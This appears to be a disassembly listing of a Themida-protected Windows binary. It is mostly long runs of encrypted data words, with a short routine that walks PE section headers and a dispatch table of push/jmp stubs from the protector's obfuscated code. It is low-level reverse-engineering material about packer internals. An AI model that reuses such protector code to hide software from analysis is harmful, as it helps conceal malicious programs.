		dd 0B90AB90Ah, 302F93F7h, 89CA5E24h, 0FBC34F38h, 2ACA745Fh
		dd 4609F6A1h, 27000000h, 24405F83h, 899CA5Eh, 0AE129D7Fh
		dd 5E241B4Ah, 385F74CAh, 5E249DC0h, 34A0FCCAh, 0CA5E242Dh
		dd 2E4A3D86h, 83824EA3h, 0D86C2AEFh, 0B73D86A9h, 0BFDBE5EEh
		dd 5E1C0C13h, 2B5C65CAh, 527BDFDFh, 0C7B54B0h, 86744208h
		dd 4354E8EAh, 1D34h, 68385400h,	99F9F752h, 0C8D721FAh
		dd 21CA5E04h, 0B65A0790h, 4F7EEDAh, 8350CA5Eh, 2D20014h
		dd 0F3DEFAFAh, 0EC7B351h, 0E8E410F4h, 16C09C58h, 0ECEA16EEh
		dd 13C09C58h, 0D8EF0BE9h, 18BAA65Eh, 687220E4h,	0BBFh
		dd 89240C89h, 4C181E1h,	83000000h, 0C8704E9h, 0CB685C24h
		dd 89000024h, 7168240Ch, 8900002Eh, 0AEB9243Ch,	81369023h
		dd 9A622BF1h, 2EC18164h, 0C1570173h, 0C18308E9h, 81D1F701h
		dd 0A6EC66C1h, 66286808h, 24890000h, 24048124h,	4, 21C5685Fh
		dd 4890000h, 89C88924h,	8B580847h, 8956243Ch, 4C681E6h
		dd 81000000h, 4C6h, 24348700h, 240C8B5Ch, 81E28952h, 4C2h
		dd 4C28100h, 87000000h,	0E95C2414h, 0FFFC9270h,	0EBCEC0E2h
; ---------------------------------------------------------------------------


loc_5E0774:				; CODE XREF: Themida_:005DFB7Dj
		mov	eax, 7FDEBD7h
		add	eax, ebp


loc_5E077B:				; CODE XREF: Themida_:005DFB78j
		mov	edx, ecx
		jmp	loc_5E07D3
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		add	esi, [esi+3Ch]
		mov	edi, [esp+28h]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_5E079D:				; CODE XREF: Themida_:005E07C8j
		cmp	ecx, 0
		jz	loc_5E07BC
		cmp	edi, [edx+0Ch]
		jg	loc_5E07C4
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_5E07BC:				; CODE XREF: Themida_:005E07A0j
					; Themida_:005E07CEj
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_5E07C4:				; CODE XREF: Themida_:005E07A9j
		add	edx, 28h
		dec	ecx
		jnz	loc_5E079D
		jmp	loc_5E07BC
; ---------------------------------------------------------------------------


loc_5E07D3:				; CODE XREF: Themida_:005E077Dj
		mov	edx, 9FD3Eh
		jmp	loc_5E0941
; ---------------------------------------------------------------------------
		db 60h,	0EEh, 97h
		dd 95ECE76Ah, 715893DAh, 0B6CFDF06h, 5D54FDBEh,	0ECA43636h
		dd 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h, 77CB50C1h
		dd 0ACAC3252h, 46BF009Ch, 90ADFC6Ch, 0A3365973h, 72E275D6h
		dd 90BD9Ch, 8CE693DDh, 0A592A79Bh, 0A7ABDD64h, 918F9792h
		dd 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh, 0E592B69Fh, 0BDF694B6h
		dd 0B3EBB59Eh, 93D0EC96h, 97BF999Ch, 0F55CFD7Bh, 0AFF49389h
		dd 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h, 622D4457h,	0AE29B0F3h
		dd 38h,	60h, 64h, 2 dup(0)
		dd 4, 94h, 5, 1, 0A28h,	2, 76726553h, 20656369h, 6B636150h
		dd 3220h, 26h dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5E0941:				; CODE XREF: Themida_:005E07D8j
		jmp	loc_5E501C
; ---------------------------------------------------------------------------
		push	7FDF225h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FDF43Ch
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FDF5E2h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FDF7A1h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FDF900h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FDFAA4h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FDFC7Eh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FDFE1Ch
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE07A7h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE0873h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE0B44h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE12E5h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE1B9Ah
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE2348h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE2691h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE2735h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE27B9h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE2855h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE2C22h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE2E84h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	7FE326Ah
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		dd 24EE16BEh, 0C44EF6DCh, 1FF32DBCh, 0BA48F2DFh, 16EC18B6h
		dd 804E0630h, 66728E84h, 834C34DEh, 626D9181h, 19A732E0h
		dd 6035B6ADh, 0C9750FC2h, 71162CA5h, 28C212ABh,	0F928239Ah
		dd 8A453364h, 0BCA07C78h, 0E612F212h, 1C6B58ECh, 0D1FCF1DCh
		dd 844FF1DCh, 941CA780h, 22E21AB8h, 0A97D3E8Ah,	31A2427Ah
		dd 0BC04AC66h, 12E89BD9h, 0BBCFB812h, 52A61D1Dh, 65B0E1F7h
		dd 3082526Eh, 7C36AB1Fh, 27833562h, 11768843h, 57FF0567h
		dd 329CC4D2h, 5BFFC112h, 9F28CC76h, 20B08CF8h, 1B84ED4Dh
		dd 8AEE9962h, 0C2640E57h, 2C985976h, 0C2640E35h, 768E458Eh
		dd 3BB9738Ah, 72DFFA89h, 0FF12C994h, 26F976Eh, 40B11E42h
		dd 0BE876D97h, 0DF616B15h, 0AC47B8h, 5690000h, 20AD3DF6h
		dd 60764EBEh, 0CFB89173h, 626E12CDh, 46BE788Fh,	159E566Dh
		dd 0C9C3D4BFh, 7E091F21h, 785AAE8Ch, 21B10FC4h,	6A59B420h
		dd 5365327Eh, 706F5337h, 0C9CA5D8Dh, 0EBE98FF8h, 0E2D257C1h
		dd 55AF557Eh, 4569477Ch, 635782A1h, 63C99C2h, 545D65EEh
		dd 0A15B943h, 29C26357h, 815D97ADh, 854AAA50h, 56818158h
		dd 547F48ACh, 6C6A06B2h, 570221C5h, 465BC263h, 98530A7Dh
		dd 7A5C18A8h, 0B5C979A3h, 0F8B2A3E2h, 0AA06026Fh, 0ECFC08C6h
		dd 0C263B2F5h, 0B379A84Ch, 1D2C263h, 7990F0C1h,	1B6C45BFh
		dd 20B5Ch, 0C2129800h, 5DBA71BFh, 89BB143Ah, 0A02B4D3Ah
		dd 3E38678Bh, 4091CA5Dh, 46A52D93h, 0E2978762h,	0BF142CA8h
		dd 0EC902CD8h, 493760E0h, 0D4C5788Dh, 0B222DAF8h, 5C67E14Dh
		dd 84683854h, 0E9CE2B5Ch, 33F7EEFAh, 8350CA5Dh,	4CC6814h
		dd 180E7B8Fh, 0AC3A8A9Fh, 0B870B73Ah, 0FAD52374h, 0C82CE6F5h
		dd 8BD908ECh, 0A132CA5Dh, 8F1FA132h, 0D9451BF0h, 80EBD92Dh
		dd 6B9D2D59h, 5642BACDh, 0E024D8FAh, 95404047h,	8381BB18h
		dd 79719AAh, 0CDFC7097h, 0DE2C5B5Ah, 0B1ABEE2h,	64CA5DA2h
		dd 0A289983Ch, 0D1E2CA5Dh, 3DB9502h, 9CCA5DA6h,	0E5C61031h
		dd 9699451Dh, 0C5141AB1h, 23B023EFh, 27C40FEFh,	5D48A4BBh
		dd 7461FDCAh, 0F2CE05CEh, 0C77F0CE2h, 0BC895BA4h, 76B02468h
		dd 81FB8CC5h, 0E71DB995h, 78D06AA0h, 33CAA65Eh,	8AE6CAF9h
		dd 0D5E3B448h, 0C0695B9h, 0C0385FE8h, 0D25765CAh, 0D807EBCFh
		dd 31C26328h, 634BF7A0h, 86A7B95Bh, 0D42490A2h,	0C2640FCDh
		dd 475E8A26h, 0A0C26410h, 0FF13C013h, 9FAF6F3Fh, 79987B44h
		dd 5E5EFC0Eh, 0BC55A082h, 465D8942h, 9FC263A5h,	0AE12C112h
		dd 0E4606E12h, 0E4FC3DB3h, 17A7CA60h, 0E5688E23h, 3EFC8B81h
		dd 448FB522h, 4DF7E07Ch, 0F4E27E3Ah, 6530D5FDh,	0BC907C52h
		dd 0A21EB51Eh, 5FD50412h, 23B1D0FDh, 79B5B678h,	0A4EE993Bh
		dd 0EE16C09Ch, 2E4A3D16h, 7E8451A0h, 6B525C55h,	2183CEA8h
		dd 424434h, 1D27AD00h, 33C909E5h, 0E089FDFh, 2DD7FC04h
		dd 73D99D5h, 2B2949FBh,	8D71A1A3h, 2D51C143h, 9070A2A0h
		dd 8047BB45h, 3289983Ch, 84E2C260h, 656E1270h, 0EC8B8DFh
		dd 0BAD6BAF6h, 5E24170Eh, 956370CAh, 0CA5E248Eh, 0D2EA49F9h
		dd 7F430F69h, 9A56532h,	32241A5h, 267BCA5Eh, 37B41F61h
		dd 0C58E66A0h, 3CEB20Eh, 0FBD70301h, 0D9EAC341h, 545C64AEh
		dd 34F1F412h, 0D9BBCC9Dh, 2842C212h, 3C573F3Dh,	5DC88998h
		dd 2D1E2CAh, 0DEEB6D95h, 0B1ABEE2h, 64CA5DC8h, 1478484Fh
		dd 0A2629A38h, 1CFA7E09h, 11D257FDh, 921A49ADh,	0B73C263h
		dd 873CC6h, 575E7242h, 9E6969F9h, 15BE150Fh, 47AB0FABh
		dd 0C263EC18h, 89986071h, 0E2C263ECh, 36855BD2h, 16AD948Bh
		dd 3C5F1371h, 5BC263DFh, 4B27CD77h, 0AF848082h,	6096B336h
		dd 0E9F8DCC0h, 42C263DEh, 9C3F2671h, 0ED17C09Ch, 34593E07h
		dd 26FC025h, 0B0AF1377h, 9C263DBh, 0E41CB8B8h, 7F008720h
		dd 167h, 9D12BDA1h, 5DF60E34h, 0D2C58E66h, 0AA07D2C2h
		dd 57F01428h, 0F0F53F6Dh, 0C8FB4165h, 0B74984E8h, 6E75613Dh
		dd 0C7CA5D48h, 46BEC9FAh, 18514A5Ah, 0B054ECE8h, 938CAD17h
		dd 21ADCBBCh, 6A952B24h, 21B2E608h, 0B91337E3h,	0A8780087h
		dd 41CA5D6Eh, 68446C96h, 5D66657Ch, 8BF5BECAh, 6A43C143h
		dd 1D16D1Dh, 0F3F46A7Bh, 4B5A7E22h, 0A4CA5E1Eh,	0A5D3C40Fh
		dd 40DC182Ah, 4938D1Ch,	0B81C3CFEh, 0CA5E1EA9h,	0BE913C0h
		dd 0C9E08042h, 714F844Fh, 5AF9A161h, 87AEBDh, 0C5B69440h
		dd 9FBBD257h, 62EB0933h, 0BD298535h, 0C26389A6h, 49D3B3FFh
		dd 8876F2F0h, 6A98353Bh, 9CFA959h, 0D9CC000h, 3509C113h
		dd 3307B902h, 68385464h, 6C2D5286h, 85EB9C3Ch, 0CA609023h
		dd 0BBDFE1F2h, 0EA0A349Fh, 8C4A3661h, 16628165h, 0E6BBBA66h
		dd 8D4925DDh, 3E95AF24h, 0A8901B73h, 7D5ABACEh,	402Dh
		dd 0FC063E96h, 0DC26DEF4h, 0F70B0594h, 0F220DAF7h, 0CE44C00Eh
		dd 5876DE08h, 0BE1A56ACh, 5B747C86h, 0BA1559A9h, 0F1CF7A88h
		dd 602FDE05h, 5D1D37C2h, 23AD04D2h, 6060B221h, 7871A150h
		dd 8040FEBAh, 5DFF4D54h, 6A1DA6CAh, 43C2438Eh, 88953E3Ah
		dd 0C941CA7h, 12C0B4A5h, 1B6DAEAh, 0B37B1780h, 43E97h
		dd 0D23C6027h, 152FAA07h, 0F3E0626Bh, 5EAE511h,	238D36CCh
		dd 94708A47h, 823ECCBBh, 4552F2DEh, 75D9AB78h, 0A6DCAB59h
		dd 0D1D0F414h, 2ACA5E23h, 787C8846h, 11AF24AFh,	0B8B0BFC1h
		dd 0D360B359h, 2E3B8959h, 52763A54h, 0CA5D6953h, 0D07017ACh
		dd 0E687E4ECh, 0F522F246h, 0A71D287Dh, 60271D03h, 579EF698h
		dd 0FDD773D2h, 0A665443h, 9FBB39F3h, 0F6BA0933h, 6373D3D2h
		dd 2C972CC2h, 0A5BC2884h, 10C26374h, 0B0C15E6Ah, 0B90AA88Bh
		dd 96C533CEh, 0FD7EF216h, 382E35A1h, 3B8705D5h,	0FC65B858h
		dd 8007BC90h, 5ABB08Ah,	82DF71BDh, 5D4926CEh, 798F4503h
		dd 0FEBACDFCh, 0CCBE12A2h, 9F5D5719h, 0E68680F8h, 0B9950DCFh
		dd 8922E218h, 0C2A4BB27h, 0B4FDFDDBh, 11BDA11Fh, 4F3811F3h
		dd 0B105D3B5h, 9A71C26h, 725E1DA5h, 5AA646AFh, 688CB816h
		dd 0B040B8DFh, 0EB05D65Dh, 0A070DBD7h, 0D1FD501Ah, 8D33A033h
		dd 8490745h, 920AFDA3h,	0FD4BFD3Ch, 0A19FE8DBh,	0D04A61FDh
		dd 0E41EB9C7h, 97E7D4DCh, 0EE7BECC6h, 46BE4692h, 0D0701A6Dh
		dd 781F21ACh, 73604D88h, 55A7FAC9h, 80932C9Ah, 3E873320h
		dd 0E0F00000h, 0CC6AA58h, 0D7E60AF8h, 8C9A55Dh,	0F6E020F2h
		dd 0F012C44Eh, 28DA6A64h, 9E748C48h, 43CF7562h,	0A46E903Bh
		dd 0C4DB07B5h, 1DC2602Eh, 7D23347h, 0C7D7B3FDh,	0C0CA10E5h
		dd 273EAAF9h, 80CA5D3Bh, 84BE4D33h, 5CD6913h, 29A96E7Ch
		dd 6C58F113h, 65321084h, 963B9B1Dh, 0C1BF886Ch,	4009EB11h
		dd 65912D93h, 0CA5D673Eh, 0BB7D0A97h, 576BB517h, 7720B4D2h
		dd 9066AEA5h, 29852B98h, 72768C45h, 0C263F273h,	290F7CCh
		dd 524763Eh, 135B2FC7h,	94F0B984h, 20E41CB8h, 300A0087h
		dd 3C3D852Bh, 5C04D24h,	0B5D9E7B0h, 0C93A2CEDh,	6347061Dh
		dd 82525FC2h, 0C7A9652Fh, 0CCA4F30Dh, 0CA5D8C42h, 0F319BBFh
		dd 3D96BA88h, 0ACF4BC07h, 32965E7Bh, 0BA69A633h, 5F8D378Ch
		dd 0B36D7CB9h, 3C4B7851h, 0E78B17BDh, 0C0DC821Ah, 0B82A0D14h
		dd 2A5D66F2h, 0AB268258h, 1D25B99h, 0E7D3DBBFh,	6D76C480h
		dd 0A75D8474h, 9AB6F2B8h, 5CF0438h, 84BB3D3Ah, 39079060h
		dd 26DCF955h, 17BB05CEh, 0F2B90608h, 0B1475061h, 0FAB318D7h
		dd 4B9BDCE4h, 35A48B6Ah
		dd 0DAF85862h, 7A49E222h, 776E5A36h, 0D0EABE9Bh, 16E89403h
		dd 56EEE444h, 676B159Eh, 0A6CAE6DDh, 0CD6B1C28h, 0FA29CDF1h
		dd 53EABE9Ah, 8F96427Eh, 0E8EABE9Bh, 0AC44ACDBh, 0E5F2B8D6h
		dd 68657289h, 42911ADAh, 65496555h, 0C45F6281h,	2E6BBE2h
		dd 0E2C45EE3h, 545C673Ch, 0C45ED54Ch, 27704C72h, 0C2D97519h
		dd 96413F48h, 4F84BE19h, 41C30D71h, 0ACF4BC56h,	22D451A5h
		dd 699700A1h, 0AD57816Eh, 816F8B16h, 0E66A649h,	3CC8F1h
		dd 99A33100h, 0B74D8569h, 9A94234Bh, 0B14B8868h, 93B11D61h
		dd 0A7ADD57Fh, 1FD152Fh, 99D52DD7h, 0F4FC063Ch,	0ECDB27D9h
		dd 2CFD24D0h, 56C260h, 636E12FCh, 0FD8A23E1h, 0D62ED0FBh
		dd 0B94B86EAh, 4D5733Bh, 0D2D53872h, 0E6749601h, 44C04492h
		dd 4858586Bh, 0E352B56Bh, 0D86C6AF9h, 5740931Ch, 0E58F7D69h
		dd 0F894D257h, 63D6D5CCh, 0F2A52EC2h, 44912848h, 0B47D7789h
		dd 675EB41Fh, 4B87E361h, 0D7A53B1h, 5A5663F5h, 776E5A36h
		dd 0D0C263D7h, 32DC9403h, 0AFCA5DECh, 99FE00CBh, 0A50AC5A9h
		dd 4AAA192Bh, 63A1A32Eh, 0E6CAF9CAh, 3EB64E8Ah,	0F1572275h
		dd 57127940h, 0C8725FFBh, 99EDCBBFh, 0F4BC073Dh, 0E818B498h
		dd 0AE69440Ch, 0DCB73668h, 0EED8A0E7h, 0FB25BAD2h, 28CC765Fh
		dd 664AF89Fh, 0C6AE6382h, 3994BC15h, 6F64ED07h,	58F4A064h
		dd 0AFD3C47Ch, 0FCA02029h, 0C6ADC9D8h, 0E133415h, 0A9DA8F32h
		dd 0D76D6509h, 19D9BECh, 0C4D3715Dh, 0C078C42Ch, 0EB2FF1Dh
		dd 0AC05CEB2h, 4AE32123h, 0E5B27B79h, 1BB33893h, 0EC083C96h
		dd 5D637063h, 18E9541h,	87E70DCCh, 7423B04Ah, 32FFDA16h
		dd 915456A2h, 0B2363ADEh, 0DCB73B3h, 0D66E640Ch, 953E951Eh
		dd 4332EA1Ch, 6C89EB7Bh, 3B69h,	8FA02D2h, 0C052EAE8h, 23EF29C0h
		dd 0B64CF6DBh, 1AE81CBAh, 8C4A0A2Ch, 6A668A78h,	8F4828DAh
		dd 76619D75h, 2D9336CCh, 602B9AC9h, 8191F3C2h, 0D1AFC212h
		dd 5E7934AAh, 738C4739h, 1B0F6972h, 5C646FBCh, 0F42FD600h
		dd 6FE8095Ch, 68148350h, 1A22B0CCh, 63C3956Dh, 0C359D56Eh
		dd 904D863Ah, 695C143h,	0A40CB70Ch, 0E0F40CC8h,	9D25826Eh
		dd 0EAADD60h, 301CEB2h,	995F2801h, 0D257D9BBh, 0FF01CCB0h
		dd 0BC6AA98h, 0DEE6CAF9h, 26477D74h, 0D7D0AD9h,	2F804D31h
		dd 0D15A9AA4h, 8AA89502h, 7A3BEABAh, 9BA9D8E6h,	9D2727DBh
		dd 0D3FFCF02h, 15ED9A29h, 167A3643h, 63CFB3B2h,	0D0B70CC2h
		dd 9F04CCF0h, 0C7DE0A34h, 20C26356h, 0C9794193h, 0C0522671h
		dd 3DCA5E11h, 0D0B62F75h, 286FBE99h, 6A9A361Ah,	0AE12C18Ah
		dd 0F8FC00D2h, 0F399682Fh, 0E91BB397h, 0AFB6420Bh, 8BA6954h
		dd 0E324CCBBh, 38B7AC08h, 778D46A2h, 0A11FB47Dh, 0F8DC15BDh
		dd 0BD269EE9h, 35627142h, 89432783h, 5E681077h,	6BC520B1h
		dd 0ECE6C30Fh, 0C0139C58h, 87811844h, 669E343Ch, 0E8D2C58Eh
		dd 53B14B88h, 4291AB27h, 804B2F91h, 996B197Eh, 243BA7BFh
		dd 7DB52C8Dh, 3D219F34h, 0ED6E7390h, 760D0A0Bh,	5A7E3A4Dh
		dd 0BD26E3DAh, 7FF38D15h, 146E5664h, 745D01BFh,	25AE507Bh
		dd 0AE28379Bh, 3081AD32h, 19355967h, 87BDh, 0D7D72BD5h
		dd 9F13BAC7h, 6235BA01h, 9936BB16h, 13C0896Bh, 0DC7D5E9Eh
		dd 401D77DBh, 39C5h, 749EA62Eh,	54BE468Ch, 6FA39D2Ch, 4AB8428Fh
		dd 669CA826h, 309EB6E0h, 0D602FE14h, 339CE42Eh,	0D2FD0111h
		dd 0C9F7E230h, 602A061Dh, 0F5055FC2h, 0E2626E12h, 2FE8922h
		dd 46FEDAD7h, 0BE17337Dh, 3F765084h, 1A4114Dh, 2E52EE96h
		dd 0B561A3A1h, 5D401211h, 6D566BCAh, 4952E81Ah,	36C80367h
		dd 55836F51h, 0BAD25748h, 7EF5E7EAh, 63EB4B5Ah,	0C50FA4C2h
		dd 98B2FFB1h, 9B4EB38Fh, 942E596Ah, 0A460E0ECh,	0B6D5CCF8h
		dd 0A52EC263h, 0D16DA52Eh, 0B12321ADh, 9C11CAF8h, 9AA3F43Ch
		dd 0CBD3B7CDh, 99A7F4BAh, 342BBD32h, 8DC263A0h,	675CE6F1h
		dd 5ADF895Dh, 593EF574h, 0EB8FA731h, 948B5DE7h,	0EDC263C2h
		dd 1D1EFE4h, 0D537F9BEh, 12AED92Ch, 9B2B26AEh, 3B89831Ah
		dd 5C247F18h, 2FC9CE76h, 0CA5E349Dh, 45F8A1Ah, 11A427CAh
		dd 0AE7BC86h, 3259045Eh, 0B0D1E14Eh, 0EFD189B8h, 6165573Ah
		dd 2FEF9373h, 80982268h, 0A0984D54h, 0DE0AA626h, 26A097C7h
		dd 93409320h, 7C86512Dh, 6126DEF4h, 881F3B5Fh, 0AADD768Eh
		dd 9AAA4446h, 3C81512Eh, 2E35A1F4h, 871EA684h, 5D6F8A3Ah
		dd 0C014AED9h, 2E7F4F88h, 8F31A2B0h, 0A262DCEBh, 1A067E09h
		dd 8D679D36h, 821E45B1h, 2A771EA6h, 3E1CEE99h, 0A145ECEAh
		dd 1EA68282h, 0F7FDC6DBh, 3EE3292Fh, 6A593447h,	0DEF35759h
		dd 2947E024h, 0D55E96ACh, 0B69AF6C2h, 4009EB19h, 0CD11A157h
		dd 644C26A0h, 0AC566180h, 0F2D6BA16h, 16AC55F3h, 774C774Ch
		dd 34BD1539h, 966E659Fh, 0D2EECABDh, 0E90D24AEh, 16AC55BAh
		dd 0EF15BE13h, 776E5A56h, 0D016AC55h, 69649403h, 88432BD7h
		dd 7094AE23h, 3FB5ECD7h, 96726250h, 37EB213Eh, 7C540000h
		dd 0A0324EC4h, 738A669Ch, 0AC2549B9h, 4A846C96h, 547E48BAh
		dd 0E42ED600h, 210309Ch, 0DF33D1FEh, 0F80A349Fh, 58876B51h
		dd 0B1C26028h, 7D2BFD3h, 3D97B3FDh, 16E89403h, 0D5793744h
		dd 23AC48FAh, 84E8C474h, 27D1B64Eh, 0D25C1174h,	270FCDD5h
		dd 50DDD900h, 0E8DCAD06h, 15BEBC18h, 0BCE30FABh, 15C260EEh
		dd 613DFB8Ch, 0C39D3E51h, 0BE0F40Eh, 0E2626E78h, 763A8922h
		dd 60FB5352h, 7017ACC2h, 0F5BB4590h, 48A917ADh,	0B3E4C1FEh
		dd 8F335757h, 0C2609090h, 49AFD8E9h, 0C26090AAh, 0DBC9D1E1h
		dd 5A9CBA2h, 0E0EC7092h, 0B9DB6E24h, 0A0A4321Fh, 3C20A033h
		dd 83B91A97h, 0E3CB4750h, 0E4B34D87h, 0D0F43994h, 0C26036D1h
		dd 37A5BC28h, 0B5FEC260h, 0D8FCC40Dh, 0C26036C9h, 7E429122h
		dd 0A84CF0E2h, 0CD77611Fh, 99F99E27h, 0D6CDF995h, 2FC26036h
		dd 4B0DF5A2h, 0FF0EE3EBh, 0DDE6BF45h, 7B458E17h, 8B37F4DFh
		dd 0C2603794h, 15EFE4EDh, 516D4B3Ch, 64A0A22Dh,	31A25A78h
		dd 250F9266h, 666ECA5Eh, 67F51F32h, 6F6907D9h, 0ACF8C2D5h
		dd 0D1F68FC7h, 6060733Ch, 6D74603Ch, 0C6BA631Ch, 8562C7FDh
		dd 51646D47h, 64983A46h, 646E12AEh, 0EDF4E0E0h,	46BA626Eh
		dd 0E4EE0A7Dh, 0E1F1FE0Dh, 0C310995Bh, 0CCB010h, 0E0241EADh
		dd 0AF787C47h, 30801CE8h, 0B81CF319h, 0BA6256A9h, 6C23B102h
		dd 3231954Eh, 8BBA627Fh, 0FEFA8D36h, 51F3DED3h,	289BA52Fh
		dd 0AC26F979h, 5784DCCEh, 364Dh, 1CE61EB6h, 0BC46FED4h
		dd 17EB25B4h, 0D240FAD7h, 0EE2420AEh, 0B8163E68h, 5E7A768Ch
		dd 0BB145CA6h, 5A757989h, 516F5AA8h, 60267EA5h,	7D7DD7C2h
		dd 4BFEFEDCh, 65F5DEC9h, 73D08DC8h, 33CA7B61h, 0AD3C20A0h
		dd 0CFB89173h, 24B1CDF1h, 5CFF791Eh, 0BBD25B44h, 0E70D379Fh
		dd 3989395Eh, 0A4C164B8h, 89279C40h, 3CA2C125h,	0A6FBC25Fh
		dd 507BDFE1h, 35CF715Bh, 0B1B0149Ch, 0AC25F3Ch,	0CAA60AB9h
		dd 22FEF60Eh, 5F3CAFB6h, 8BB08C2h, 4F2B137Fh, 0AF777D87h
		dd 37CB667h, 554291E7h,	698DAD2Dh, 0C25FD33Ah, 2B953E93h
		dd 0D33C638Fh, 0C95C25Fh, 0D1E1BD7Bh, 56820FBDh, 0C25F3B4Fh
		dd 19A91BA8h, 9BCA2E68h, 0F4C25F64h, 418CF4DFh,	0D20D8BFh
		dd 4CC25F64h, 6FF4F084h, 425520C1h, 43FDD878h, 834C3090h
		dd 84AB8381h, 0BA2B1B0h, 67E09BAh, 5F995052h, 0DE646DC2h
		dd 689C3A26h, 9554CD8Ch, 52623EB8h, 0F64D9472h,	4783E794h
		dd 773A5128h, 47A23B4Ch, 0C57F53F7h, 8EA2B3D2h,	5AF6026Bh
		dd 1541C379h, 4A3D86BCh, 11AADh, 0AE12E700h, 0EBFD07D2h
		dd 0CA5E23F4h, 5E85714Dh, 0B7CA5E24h, 0DCAED9EAh, 0EE39FC00h
		dd 60B97AC8h, 85714D73h, 0CA5DB55Eh, 51DAEAB7h,	19B21C22h
		dd 3DA99700h, 0CA5DC02Ah, 48FAD579h, 0F3DB833Fh, 0A132D2FEh
		dd 0E1F28E32h, 12BD995Bh, 883B14F0h, 0F59985FFh, 42C27859h
		dd 0C0607F69h, 0E8B9CA5Dh, 0BFC6D99Fh, 0CB6BCA5Dh, 6D1A24AFh
		dd 6549F9F0h, 5DC06281h, 160DB9CAh, 6FCA5DC0h, 44536062h
		dd 95E51041h, 0D85C6405h, 0C77953DCh, 67E76FDh,	85FE81h
		dd 3E220000h, 0A76B7491h, 9F00350Ah, 79F7D034h,	22F2A55Fh
		dd 5E24184Ah, 0F8D975CAh, 0FAEAC242h, 998CA54Ch, 5879F7CCh
		dd 4B0DF5A2h, 0FA90593Fh, 3CC28DCh, 58ED80D1h, 0AD29456Bh
		dd 0C3D45D97h, 18B599F5h, 56410AEAh, 57FAECA2h,	0FE0D71D2h
		dd 0C9E7C044h, 63C8061Dh, 45525FC2h, 0B6AD1975h, 0FC263C8h
		dd 0BAF11C2h, 63C7B8E7h, 49AD11C2h, 0C263C71Ah,	0B755E73h
		dd 0BF4B3CC6h, 28379BFFh, 81C263C7h, 12356730h,	66D56BC2h
		dd 3D4A9D88h, 6F537345h, 0CA5D6870h, 0E5CBF8C9h, 0E5B24889h
		dd 64E7B7D3h, 8D99095Bh, 84E29601h, 59D25783h, 5F28DAF5h
		dd 0A63A4F63h, 0B3615F0Fh, 12BCA020h, 4E3912F2h, 42A60AB6h
		dd 0C263BA23h, 2060277Ch, 139E38B5h, 0A67F85BFh, 660AA61Dh
		dd 63AFD86Ch, 2BD5FF5Bh, 0E6B701C9h, 698A5330h,	804B2D5Ah
		dd 4D08F7Fh, 0F8CBB54Dh, 0A3A94B8h, 3713FF7Dh, 0C58E66A0h
		dd 0C928A6D2h, 0E201E532h, 3BC2641Dh, 62675D66h, 0C6670748h
		dd 94B8F8CBh, 26FF053Fh, 20B7A361h, 0E6F20EE6h,	0C63EC00Bh
		dd 991ED6EDh, 2AC08D4Ch, 49C3DA76h, 0F802CFABh,	0F7A033FCh
		dd 3CB6B6Eh, 4E76B5F9h,	59A7F0D7h, 1E45B17Eh, 77C2633Dh
		dd 7317992Ah, 633D504Fh, 6F18A9C2h, 4FF0DB23h, 0DED4D9FFh
		dd 263DA942h, 7FC26378h, 0D232A132h, 7AC0DEE6h,	5AC8FE93h
		dd 2D737256h, 0F7CCC263h, 88E07A90h, 743DB771h,	0D1FD615Fh
		dd 8FF8D133h, 447345B1h, 3E22CA5Dh, 8CB42091h, 0DFF4DF68h
		dd 90438B33h, 98978D59h, 0DBE818B4h, 0AC01CCACh, 10B0231Dh
		dd 935224ACh, 8ED73691h, 684B3B6Ah, 583F94BAh, 636C10ACh
		dd 0E68A23E1h, 0C62A5DD7h, 329EF2BEh, 0FF053F97h, 0C044FED3h
		dd 0FF053F94h, 0BA31B426h, 0BDA13D9Dh, 4491EF15h, 0CD0CD9BEh
		dd 3DC7116Dh, 0E8F7DBB7h, 414231A3h, 44346370h,	9B952489h
		dd 0A4B2B115h, 0B60B4231h, 1539F50Dh, 0E26B89BBh, 0F608C3B5h
		dd 4CF1E2FEh, 216A507Bh, 0B8F8CB38h, 0EC083894h, 0F67DA450h
		dd 0CDD64231h, 6FF391F6h, 4CB703CBh, 0A94BF5E0h, 0C86EB420h
		dd 8762FB8Ch, 0F0EFD3B7h, 474231C9h, 31CA849Bh,	0EED4DD42h
		dd 0BC6B2E5h, 492509F9h, 0F10F78B2h, 38F209E6h,	0F1CD698Bh
		dd 31C9DE05h, 1D6A3742h, 0E4F353E5h, 0D201CA2Ah, 0FF26D2EEh
		dd 584231C9h, 0B777794Bh, 0E3E9800h, 0CBD3B789h, 8038D14Bh
		dd 0ECEA860Fh, 84139C58h, 2BE2BAECh, 0BF23874Ah, 3A37A9A0h
